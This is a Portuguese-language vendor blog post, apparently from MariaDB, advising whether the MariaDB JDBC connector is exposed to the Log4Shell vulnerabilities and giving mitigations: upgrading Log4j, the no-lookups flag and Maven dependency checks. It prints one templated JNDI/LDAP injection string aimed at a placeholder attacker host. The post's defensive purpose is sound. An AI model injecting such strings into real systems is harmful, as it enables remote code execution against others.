O conector Java do MariaDB é afetado pela vulnerabilidade de segurança descoberta recentemente no Log4? Por padrão, o conector Java não usa Log4j. No entanto, se você o configurou para usar SLF4j, continue lendo.
Para obter informações além do escopo do driver MariaDB JDBC, leia Log4Shell e MariaDB.
Observação :Este blog foi atualizado em 15/12/2021 para incluir detalhes sobre CVE-2021-45046.
A vulnerabilidade do Log4j
Apache Log4j é uma estrutura de log de código aberto popular para aplicativos Java. Ele é usado em uma variedade de projetos corporativos e de código aberto, incluindo fornecedores de nuvem e provedores de serviços de e-mail. Em 9 de dezembro de 2021, uma vulnerabilidade de 0 dia foi encontrada no Log4j que pode resultar na execução remota de código, permitindo que um hacker execute código arbitrário em um sistema. A vulnerabilidade é conhecida como “Log4Shell” e é rastreada como CVE-2021-44228.
Em resumo, a vulnerabilidade permite que um invasor injete uma string de pesquisa JNDI que invoca, por exemplo, um servidor LDAP remoto (controlado pelo invasor) que, por sua vez, retorna uma classe Java maliciosa:
${jndi:ldap://[attacker_site]/[malicious_java_class]}
Se uma string como esta for registrada pelo Log4j, uma classe Java maliciosa pode executar código arbitrário (por meio de um bloco de código estático, por exemplo).
Versões afetadas
Felizmente, apenas as versões 2.x do Log4j anteriores a 2.15.0 são afetadas. Consulte a página de vulnerabilidades de segurança do Apache Log4j para obter mais informações. A vulnerabilidade não está presente nas versões 1.x do Log4j.
Como mitigar o CVE-2021-44228
A melhor estratégia para mitigar a vulnerabilidade é atualizar a dependência do Log4j em seus projetos. A versão 2.16.0, que remove as pesquisas de mensagens, já está disponível. Adereços para a equipe para liberar isso rapidamente.
Atualizar :Log4j 2.16.0 também corrige a segunda vulnerabilidade rastreada como CVE-2021-45046.
O driver MariaDB JDBC não usa Log4j 2.x. No entanto, ele suporta SLF4J. Verifique se você está usando ou não o binder Log4j para SLF4J e, em caso afirmativo, atualize o Log4j de acordo ou defina a seguinte variável de configuração:
-Dlog4j2.formatMsgNoLookups=true
Ou defina a seguinte variável de ambiente:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Observação :O registro só é habilitado quando definido explicitamente pelo
log
parâmetro. Além do Log4j, você também pode optar por outras ligações SLF4J, como Jakarta Commons Logging, Logback ou Java Logging API. Se você estiver usando o Maven, poderá executar o seguinte comando para descobrir se seu projeto depende do Log4j:
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core
Aqui está um exemplo do tipo de saída que você obterá em um projeto vulnerável:
Se por algum motivo seu projeto não compilar, você pode executar alternativamente:
mvn help:effective-pom
Procure o
log4j-core
dependência e verifique a versão utilizada. Informações Adicionais
Lista de links no blog:
- Conector Java do MariaDB
- SLF4j
- Blog relacionado Log4Shell e MariaDB
- CVE-2021-44228
- Vulnerabilidades de segurança do Apache Log4j
- Apache Log4j versão 2.16.0
-
log
parâmetro